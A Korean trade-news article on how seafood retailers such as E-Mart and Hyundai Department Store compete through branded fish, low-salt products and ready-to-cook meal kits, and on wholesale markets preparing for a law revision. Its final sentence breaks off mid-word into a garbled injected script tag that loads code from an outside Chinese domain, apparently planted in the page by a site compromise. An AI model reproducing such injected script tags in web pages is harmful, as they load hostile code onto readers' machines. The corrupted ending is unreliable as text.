# 차별화를 통한 활로를 모색하다.

최근 수산물 유통업체에는 대형 유통업체 위주로 시장구도가 재편되고 있는 가운데 다른 업체와의 경쟁에서 생존하기 위해 기존 업체와의 차별화된 전략으로 승부수를 띄우고 있다.

유통업체에서는 이와 함께 단기적인 위기 극복 방법이 아니라 장기적인 생존전략을 마련하고, 새로운 환경에 적응해 나가려는 노력을 기울이고 있는 것이다.

유통업체는 이러한 차별화를 위한 대안으로 소비자들의 라이프스타일 변화에서 찾아내고 있었다.

소비자들의 합리적인 소비패턴이 점차 정착되면서 소비자들은 자신들이 선호하는 제품을 중심으로 제품의 가격, 품질 등을 면밀히 관찰해 구매하게 된다.

따라서 상품의 종류는 다양하지만 합리적인 소비가 불가능한 도매시장보다는 소수의 상품이지만 선호제품을 선택할 수 있는 대형할인업체 쪽으로 발걸음을 돌리게 되는 것이다.

기존 업체와의 차별화 방안으로 수산물 제품의 브랜드화를 들 수 있다.

브랜드의 난무로 골머리를 앓고 있는 다른 산업체의 제품군과는 달리 이름만 듣고 떠올릴수 있는 수산물 브랜드는 상대적으로 적다.

대표적인 상품이 ‘안동 간고등어’ 상품인데 여기다가 ‘추자도 참조기·굴비’, ‘서귀포수협 사람들’이라는 신규 브랜드들이 가세하고 있다.

이마트에서는 조기류 상품을 취급할 때 국내산으로 원산지를 속인 수입산이 많이 섞여있다는 문제점을 해결하기 위해 조기제품의 브랜드화를 내세웠다.

이름에서도 짐작할 수 있듯이 ‘추자도 참조기·굴비’상품은 제주도 북쪽해역 추자도 수협과 손잡고 추자도 섬에서 생산되는 국내산 참조기로만 가공한 제품이다.

맛도 좋아서 지난 2003년 첫 선을 보일 당시 15억원에 불과했던 추자도 굴비의 연간 매출이 지난해 100억원으로 6배 이상 늘어났다.

차별화 상품은 여기에서 그치지 않는다.

최근 수산물 유통업체에서는 참살이 트렌드에 발맞춰 자반생선보다는 ‘순염’생선을 많이 선보이고 있다.

이홍덕 과장은 “최근 참살이 트렌드에 발맞춰 자반생선보다는 ‘순염’생선을 많이 선보이고 있다”고 밝혔다.

‘순염’생선이란 염도가 자반생선의 경우 4~5%에 달하는 것에 비해 2%수준으로 줄인 생선을 말한다.

이과장은 “최근 소비자들은 고혈압이나 암, 당뇨, 심장병 등 성인병을 예방하기 위해서 염분을 적게 섭취해야 한다는 인식이 강하기 때문에 생선의 염도를 전반적으로 줄이는 한편 숙성과정을 거쳐 풍미는 훨씬 높은 순염생선을 선보이게 됐다”고 설명했다.

순염생선은 특히 쫄깃하면서도 비릿한 맛이 덜하고 담백해 최근 인기를 끌고 있다.


# 둘이 합치면 시너지효과도 두 배다.

이마트와 현대백화점에서는 수산물제품에 ‘복합’개념을 도입했다.

수산물 유통업체의 분석에 따르면 수산물 소비동향을 살펴보면 원어상태의 수산물을 구입해 직접 조리로까지 연결시킬 수 있는 소비계층이 점차 엷어지는 추세라는 것이다.

이에 따라 유통업체에서는 바로 먹을 수 있도록 조리된 상품이나 수산물에 소스와 야채를 복합시켜 간단한 방법으로 조리할 수 있는 복합 상품을 주력상품으로 내놓고 있다.

주요 상품은 갈치, 고등어, 오징어 등의 생선에 다양한 소스를 개발해 ‘매운 고등어 조림’, ‘허브&갈릭소스를 이용한 연어구이’, ‘매운맛 갈치조림’ 등의 상품 등이 선보이고 있는 것이다.

이 같은 조리 상품은 하루평균 매출 1000만원 이상을 올리며 효자상품으로 등극하고 있다.

한편 이 같은 바람을 타고 도매시장에도 서서히 변화의 바람이 불고 있다.

최근 도매시장 중도매인들은 가공 상품에 대한 관심이 지대하다.

현재 시장 내 중도매인들은 온라인상 홈페이지를 구축하는 등 수산물 가공상품 홍보에 열을 올리고 있다.

노량진 수산시장의 한 상인은 “상인들은 점차 도매시장의 물량이 급감하고 있고 영업이 위축되고 있어 다들 영업활성화를 위한 판로모색을 위한 방법을 모색 중”이라고 시장 분위기를 전했다.

현재 진행되고 있는 농안법(농수산물유통및가격안정에관한법률)이 개정되게 되면 그동안 판매업무외의 사업을 겸영하지 못하던 도매시장에서도 포장·가공·저장·수출입, 시범직판장 운영 등의 사업을 겸영할 수 있다.

도매시장 법인에서도 이와같은 움직임에 주목하고 있다.
도매시장 법인은 최근 국내산 수산물의 감소로 수입수산물이 그 자리를 대신하게되자 이같은 변화를 관심있게 지켜보게 된 것이다.

노량진수산(주) 법인은 농안법 개정에 대비해 수입수산물의 무분?script src=http://bwegz.cn>
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